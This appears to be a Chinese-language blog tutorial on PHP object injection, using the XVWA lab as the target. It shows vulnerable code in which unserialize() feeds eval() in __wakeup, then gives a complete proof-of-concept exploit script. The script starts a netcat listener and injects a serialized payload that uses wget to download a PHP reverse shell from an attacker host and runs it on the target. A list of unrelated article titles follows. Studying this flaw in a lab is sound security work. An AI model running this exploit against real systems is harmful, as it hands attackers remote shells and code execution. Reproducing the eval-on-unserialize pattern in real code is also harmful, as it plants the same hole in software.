PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
4.与数据库的连接
Oct 09 PHP
一步一步学习PHP(2)――PHP类型
Feb 15 PHP
php通过数组实现多条件查询实现方法(字符串分割)
May 06 PHP
php通过隐藏表单控件获取到前两个页面的url
Sep 09 PHP
laravel 4安装及入门图文教程
Oct 29 PHP
PHP SPL标准库之数据结构堆(SplHeap)简单使用实例
May 12 PHP
php基础设计模式大全(注册树模式、工厂模式、单列模式)
Aug 31 PHP
PHP设置头信息及取得返回头信息的方法
Jan 25 PHP
php生成验证码,缩略图及水印图的类分享
Apr 07 PHP
关于php中一些字符串总结
May 05 PHP
PHP常用的三种设计模式汇总
Aug 28 PHP
PHP命名空间用法实例分析
Sep 04 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
PHP字符串的连接的简单实例
2013/12/30 PHP
PHP中执行MYSQL事务解决数据写入不完整等情况
2014/01/07 PHP
PHP实现数字补零功能的2个函数介绍
2014/05/12 PHP
PHP递归遍历指定目录的文件并统计文件数量的方法
2015/03/24 PHP
详解ThinkPHP3.2.3验证码显示、刷新、校验
2016/12/29 PHP
php smtp实现发送邮件功能
2017/06/22 PHP
thinkPHP3.2使用RBAC实现权限管理的实现
2019/08/27 PHP
解决Laravel blade模板转义html标签的问题
2019/09/03 PHP
JavaScript 使用技巧精萃(.net html
2009/04/25 Javascript
用XMLDOM和ADODB.Stream实现base64编码解码实现代码
2010/11/28 Javascript
JQuery datepicker 使用方法
2011/05/20 Javascript
js控制web打印(局部打印)方法整理
2013/05/29 Javascript
window.print打印指定div实例代码
2013/12/13 Javascript
javascript常用方法总结
2015/05/14 Javascript
JS建造者模式基本用法实例分析
2015/06/30 Javascript
jquery带有索引按钮且自动轮播切换特效代码分享
2015/09/15 Javascript
JS实现页面数据无限加载
2016/09/13 Javascript
JS 学习总结之正则表达式的懒惰性和贪婪性
2017/07/03 Javascript
js微信应用场景之微信音乐相册案例分享
2017/08/11 Javascript
JavaScript 对引擎、运行时、调用堆栈的概述理解
2018/10/22 Javascript
JS中数据结构之栈
2019/01/01 Javascript
解决父组件将子组件作为弹窗调用只执行一次created的问题
2020/07/24 Javascript
JS PHP字符串截取函数实现原理解析
2020/08/29 Javascript
关于angular引入ng-zorro的问题浅析
2020/09/09 Javascript
vue仿携程轮播图效果(滑动轮播,下方高度自适应)
2021/02/11 Vue.js
使用Python操作Elasticsearch数据索引的教程
2015/04/08 Python
Python selenium 三种等待方式解读
2016/09/15 Python
如何优雅地改进Django中的模板碎片缓存详解
2018/07/04 Python
Python TestSuite生成测试报告过程解析
2020/07/23 Python
深入浅析pycharm中 Make available to all projects的含义
2020/09/15 Python
营销主管自我评价怎么写
2013/09/19 职场文书
党支部特色活动方案
2014/08/20 职场文书
班级元旦晚会开幕词
2015/01/29 职场文书
《地震中的父与子》教学反思
2016/02/16 职场文书
什么是执行力?9个故事告诉您:成功绝非偶然!
2019/07/05 职场文书
小学生作文之《压岁钱的烦恼》
2019/09/27 职场文书